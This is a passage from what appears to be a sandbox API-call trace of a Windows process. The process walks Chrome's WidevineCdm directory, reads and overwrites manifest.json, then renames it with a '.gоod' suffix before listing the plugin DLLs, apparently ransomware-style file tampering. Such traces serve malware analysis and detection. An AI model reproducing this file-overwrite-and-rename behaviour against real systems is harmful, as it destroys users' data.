(x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0125.609] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.609] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ea7554, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0125.609] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 1 [0125.609] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0 [0125.610] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0125.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0125.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0125.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee980) returned 1 [0125.610] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm", nBufferLength=0x105, lpBuffer=0x1faee420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm", lpFilePart=0x0) returned 0x49 [0125.610] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\*", lpFindFileData=0x1faee6a0 | out: lpFindFileData=0x1faee6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0125.610] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.610] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ea7554, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0125.610] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 1 [0125.611] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0125.611] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0125.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0125.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0125.611] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json", lpFilePart=0x0) returned 0x57 [0125.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0125.611] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x357c060 | out: lpFileInformation=0x357c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ea7554, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3b7)) returned 1 [0125.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0125.612] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json", lpFilePart=0x0) returned 0x57 [0125.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0125.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0125.612] GetFileType (hFile=0x63c) returned 0x1 [0125.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0125.612] GetFileType (hFile=0x63c) returned 0x1 [0125.612] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1faee788 | out: lpFileSizeHigh=0x1faee788*=0x0) returned 0x3b7 [0125.612] ReadFile (in: hFile=0x63c, lpBuffer=0x357c700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee6b8, lpOverlapped=0x0 | out: lpBuffer=0x357c700*, lpNumberOfBytesRead=0x1faee6b8*=0x3b7, lpOverlapped=0x0) returned 1 [0125.615] CloseHandle (hObject=0x63c) returned 1 [0125.642] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json", lpFilePart=0x0) returned 0x57 [0125.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0125.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0125.643] GetFileType (hFile=0x63c) returned 0x1 [0125.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0125.643] GetFileType (hFile=0x63c) returned 0x1 [0125.643] WriteFile (in: hFile=0x63c, lpBuffer=0x36035d0*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x1faee5c8, lpOverlapped=0x0 | out: lpBuffer=0x36035d0*, lpNumberOfBytesWritten=0x1faee5c8*=0x3c0, lpOverlapped=0x0) returned 1 [0125.644] CloseHandle (hObject=0x63c) returned 1 [0125.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json", lpFilePart=0x0) returned 0x57 [0125.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json.gоod", lpFilePart=0x0) returned 0x5c [0125.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0125.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe46df998, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4719b044, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3c0)) returned 1 [0125.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0125.644] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\manifest.json.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\widevinecdm\\manifest.json.gоod")) returned 1 [0125.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0125.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific", lpFilePart=0x0) returned 0x5c [0125.645] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0125.645] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.645] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 1 [0125.646] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 0 [0125.646] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0125.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0125.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0125.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedf50) returned 1 [0125.646] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific", nBufferLength=0x105, lpBuffer=0x1faed9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific", lpFilePart=0x0) returned 0x5c [0125.646] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\*", lpFindFileData=0x1faedc70 | out: lpFindFileData=0x1faedc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0125.646] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.646] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 1 [0125.646] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0125.647] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0125.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede90) returned 1 [0125.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faede50) returned 1 [0125.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed520) returned 1 [0125.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64", nBufferLength=0x105, lpBuffer=0x1faecfc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64", lpFilePart=0x0) returned 0x64 [0125.647] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\*", lpFindFileData=0x1faed240 | out: lpFindFileData=0x1faed240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0126.180] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.180] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4705bda, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4705bda, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ef5754, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x491b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0126.180] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4705bda, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4705bda, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ef7e64, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll.sig", cAlternateFileName="WIDEVI~1.SIG")) returned 1 [0126.180] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8f98a0ce, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x43b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="WIDEVI~2.DLL")) returned 1 [0126.180] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8fabb39e, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="WIDEVI~2.SIG")) returned 1 [0126.181] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.181] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0126.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed460) returned 1 [0126.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faed420) returned 1 [0126.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faed520) returned 1 [0126.181] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64", nBufferLength=0x105, lpBuffer=0x1faecfc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64", lpFilePart=0x0) returned 0x64 [0126.181] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\WidevineCdm\\_platform_specific\\win_x64\\*", lpFindFileData=0x1faed240 | out: lpFindFileData=0x1faed240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0126.182] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.182] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4705bda, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4705bda, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ef5754, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x491b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll", cAlternateFileName="WIDEVI~1.DLL")) returned 1 [0126.183] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4705bda, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4705bda, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51ef7e64, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll.sig", cAlternateFileName="WIDEVI~1.SIG")) returned 1 [0126.183] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faed200 | out: lpFindFileData=0x1faed200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8f98a0ce, ftLastWriteTime.dwHighDateTime=0x1d32555, 